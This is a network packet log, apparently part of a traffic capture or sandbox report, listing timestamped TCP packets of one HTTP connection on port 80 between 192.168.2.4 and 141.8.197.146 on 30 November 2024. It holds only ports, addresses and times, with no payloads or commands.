Nov 30, 2024 05:00:12.379755020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.379786015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.380913973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.380965948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.381001949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.382128000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.382183075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.382194996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.383338928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.383492947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.383584976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.384579897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.384638071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.384676933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.385787964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.385854006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.385889053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.387031078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.387119055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.387217999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.388245106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.388314009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.388338089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.389466047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.389584064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.389658928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.390746117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.390808105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.390830040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.391904116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.392033100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.392100096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.393132925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.393229008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.393235922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.394352913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.394481897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.394546032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.395571947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.395663977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.395695925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.396799088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.396905899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.396955013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.398009062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.398092031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.398116112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.399235010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.399344921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.399471045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.400464058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.400592089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.400651932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.401673079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.401731968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.401792049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.402909994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.403026104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.403121948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.404129982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.404231071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.404294014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.405347109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.405416965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.405443907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.406559944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.406662941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.406719923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.407804966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.407866955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.407903910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.409033060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.409135103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.409152985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.410244942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.410351992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.410422087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.411468029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.411529064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.411597967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.412646055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.414155960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.432696104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.432755947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.432816982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.433315039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.433429956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.435913086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.446458101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446510077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446521044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446567059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.446682930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446693897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446703911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446716070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446726084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.446753025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.446918964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446955919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446966887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.446973085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.447953939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.558157921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.558279037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.558409929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.558780909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.558890104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.559979916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.560005903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.560138941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.561224937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.561286926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.561598063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.561726093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.561779022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.562810898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.562917948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.562994003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.564042091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.564116001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.564179897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.565270901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.565351963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.565362930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.566477060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.566543102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.566608906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.567758083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.567842960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.567866087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.568943024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.569051981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.569165945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.570149899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.570245981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.570271969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.571383953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.571466923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.571485043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.572604895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.572715044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.572779894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.573836088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.573890924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.573934078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.575048923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.575141907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.575206995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.576267958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.576358080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.576419115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.577480078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.577555895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.577586889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.578705072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.578816891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.578879118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.579950094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.580039024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.580101013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.581217051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.581228018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.581352949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.582366943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.582489014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.582581043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.583609104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.583672047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.583677053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.584835052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.584948063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.585031986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.586071968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.586123943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.586134911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.587270021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.587338924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.587428093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.588499069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.588592052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.588653088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.589725971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.589817047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.589829922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.590939999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.591017008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.591079950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.592155933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.592269897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.592411995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.593379974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.593468904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.593480110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.594619036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.594630957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.594800949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.595823050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.595877886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.595943928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.597101927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.597161055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.597179890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.598273993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.598377943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.598455906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.599523067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.599606991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.599627972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.600728989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.600821018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.600878000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.601990938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.602000952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.602055073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.603188992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.603290081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.603302956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.604366064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.604450941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.604479074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.605593920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.605730057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.605814934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.606813908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.606874943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.606915951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.608052969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.608151913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.608215094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.609272957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.609330893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.609369040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.610488892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.610626936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.610704899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.611730099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.611789942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.611795902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.612942934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.612997055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.613042116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.614109993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.614149094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.634278059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.634392023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.634444952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.634840965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.634952068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.634999990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.636085987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.636192083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.636234999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.637314081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.637417078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.637474060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.638509035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.638591051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.638698101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.639740944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.639852047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.639944077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.640953064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.641026974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.641079903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.759403944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.759506941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.759670973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.760005951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.760127068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.760186911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.761305094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.761423111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.761492968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.762460947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.762857914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.762940884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.762962103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.764069080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.764137030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.764175892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.765280008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.765347958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.765430927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.766522884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.766534090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.766648054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.767741919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.767833948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.767851114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.768963099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.769016981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.769082069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.770180941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.770226002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.770292044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.771394968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.771440983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.771509886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.772644043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.772654057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.772708893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.773860931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.773941994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.773967028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.775072098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.775145054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.775176048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.776283979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.776403904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.776468039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.777514935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.777626038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.777650118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.778775930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.778786898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.778892994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.779966116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.780060053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.780092001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.781192064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.781248093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.781296015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.782406092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.782449961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.782543898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.783615112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.783680916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.783721924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.784846067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.784986973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.785011053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.786066055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.786149979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.786166906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.787296057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.787345886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.787400007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.788506031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.788552999 CET	49732	80	192.168.2.4	141.8.197.146
